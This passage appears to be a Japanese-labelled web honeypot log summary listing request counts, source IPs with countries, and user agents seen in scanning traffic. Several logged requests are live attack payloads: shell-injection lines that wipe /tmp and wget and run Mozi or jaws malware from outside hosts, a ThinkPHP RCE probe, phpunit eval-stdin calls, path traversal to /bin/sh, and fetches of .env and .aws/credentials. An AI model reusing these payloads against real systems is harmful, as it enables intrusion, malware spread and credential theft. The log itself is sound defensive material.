2 GET /phpmyadmin2015/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2016/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2017/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2018/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2019/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2020/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2021/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin2022/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin3/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin4/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin5/index.php?lang=en HTTP/1.1
2 GET /phpmyadmin_/index.php?lang=en HTTP/1.1
2 GET /phppma/index.php?lang=en HTTP/1.1
2 GET /pma/index.php?lang=en HTTP/1.1
2 GET /program/index.php?lang=en HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
2 GET /shopdb/index.php?lang=en HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
2 GET /sql/myadmin/index.php?lang=en HTTP/1.1
2 GET /sql/php-myadmin/index.php?lang=en HTTP/1.1
2 GET /sql/phpMyAdmin/index.php?lang=en HTTP/1.1
2 GET /sql/phpMyAdmin2/index.php?lang=en HTTP/1.1
2 GET /sql/phpmanager/index.php?lang=en HTTP/1.1
2 GET /sql/phpmy-admin/index.php?lang=en HTTP/1.1
2 GET /sql/phpmyadmin3/index.php?lang=en HTTP/1.1
2 GET /sql/phpmyadmin4/index.php?lang=en HTTP/1.1
2 GET /sql/phpmyadmin5/index.php?lang=en HTTP/1.1
2 GET /sql/sql-admin/index.php?lang=en HTTP/1.1
2 GET /sql/sql/index.php?lang=en HTTP/1.1
2 GET /sql/sqladmin/index.php?lang=en HTTP/1.1
2 GET /sql/sqlweb/index.php?lang=en HTTP/1.1
2 GET /sql/webadmin/index.php?lang=en HTTP/1.1
2 GET /sql/webdb/index.php?lang=en HTTP/1.1
2 GET /sql/websql/index.php?lang=en HTTP/1.1
2 GET /sqlmanager/index.php?lang=en HTTP/1.1
1 GET /stalker_portal/c/version.js HTTP/1.1
1 GET /stream/live.php HTTP/1.1
1 GET /streaming/clients_live.php HTTP/1.1
1 GET /system_api.php HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en HTTP/1.1
1 GET http[:]//132[.]145[.]66[.]34:80/MyAdmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/PHPMYADMIN/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/SQL/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/admin/pma/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/admin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/dbadmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/myadmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/mysqladmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/php-my-admin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.4/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.5-pl1/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.5/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.5.7-pl1/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpMyAdmin2/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpma/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/phpmyadmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/pma/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/sqlweb/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/typo3/phpmyadmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/web/phpMyAdmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/webadmin/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/webdb/scripts/setup.php HTTP/1.0
1 GET http[:]//132[.]145[.]66[.]34:80/websql/scripts/setup.php HTTP/1.0
1 GET http[:]//example[.]com/ HTTP/1.1
1 HEAD / HTTP/1.0
1 HEAD /robots.txt HTTP/1.0
1 OPTIONS / HTTP/1.0
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス
3 18.192.56.13 United States
2 34.102.109.128 United States
2 34.159.243.45 United States
1 41.251.249.88 Morocco
14 51.79.29.48 Canada
14 51.120.8.123 United Kingdom
1 78.10.234.44 Poland
1 82.151.125.59 Russia
1 83.143.86.62 Norway
1 89.248.173.131 United Kingdom
2 109.237.103.9 Russia
2 109.237.103.118 Russia
7 134.122.112.12 United States
1 137.184.88.136 United States
7 138.197.134.127 United States
2 141.98.6.62 Bulgaria
1 162.142.125.211 United States
1 162.142.125.221 United States
1 164.92.85.51 United States
1 164.92.85.208 United States
1 167.94.146.57 United States
1 167.248.133.63 United States
1 172.104.242.173 United States
1 172.105.89.161 United States
2 179.60.150.88 Belize
1 181.214.218.69 United States
1 184.105.139.92 United States
16 185.7.214.104 Hong Kong
1 185.215.150.66 Canada
1 185.225.73.109 Bulgaria
8 185.254.196.223 Ukraine
1 198.235.24.25 United States
1 205.185.122.184 United States

UserAgent一覧

件数 UserAgent
18 -
3 Go-http-client/1.1
1 Hello, World
1 Hello, world
1 Lkx-TraversalHttpPlugin/0.0.1 (+https[:]//leakix[.]net/, +https[:]//twitter[.]com/HaboubiAnis)
1 Mozila/5.0
2 Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
1 Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
16 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
14 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36
29 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 zgrab/0.x
1 Roku/DVP-9.10 (289.10E04111A)
2 l9explore/1.3.0
1 python-requests/2.21.0

リクエスト内容一覧

件数 Method Request Protocol
2 \x03
2 \x16\x03\x01\x01D\x01
4 \x16\x03\x01
2 \xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159 X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1 CONNECT leakix[.]net:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
1 GET /.aws/credentials HTTP/1.1
28 GET /.env HTTP/1.1
1 GET //prototype/.env HTTP/1.1
1 GET //staging/.env HTTP/1.1
2 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
2 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /?q=%electivity% HTTP/1.0
2 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /c/version.js HTTP/1.1
1 GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts HTTP/1.1
1 GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1
2 GET /console/ HTTP/1.1
3 GET /favicon.ico HTTP/1.1
1 GET /flu/403.html HTTP/1.1
1 GET /index.html HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /login.action HTTP/1.1
1 GET /news/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+networkmapping[.]xyz/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /site/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /stalker_portal/c/version.js HTTP/1.1
1 GET /stream/live.php HTTP/1.1
1 GET /streaming/clients_live.php HTTP/1.1
1 GET /system_api.php HTTP/1.1
1 GET /test/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /v2/_catalog HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /website/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /xmlrpc.php?rsd HTTP/1.1
1 HEAD / HTTP/1.0
1 OPTIONS / HTTP/1.0
1 POST /29369674 HTTP/1.1
2 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /get_set.ccp HTTP/1.1
1 POST /getcfg.php HTTP/1.1
1 POST /soap.cgi?service=whatever-control;wget http[:]//159[.]203[.]15[.]179/wget.sh;
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
4 PRI * HTTP/2.0
1 PUT /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1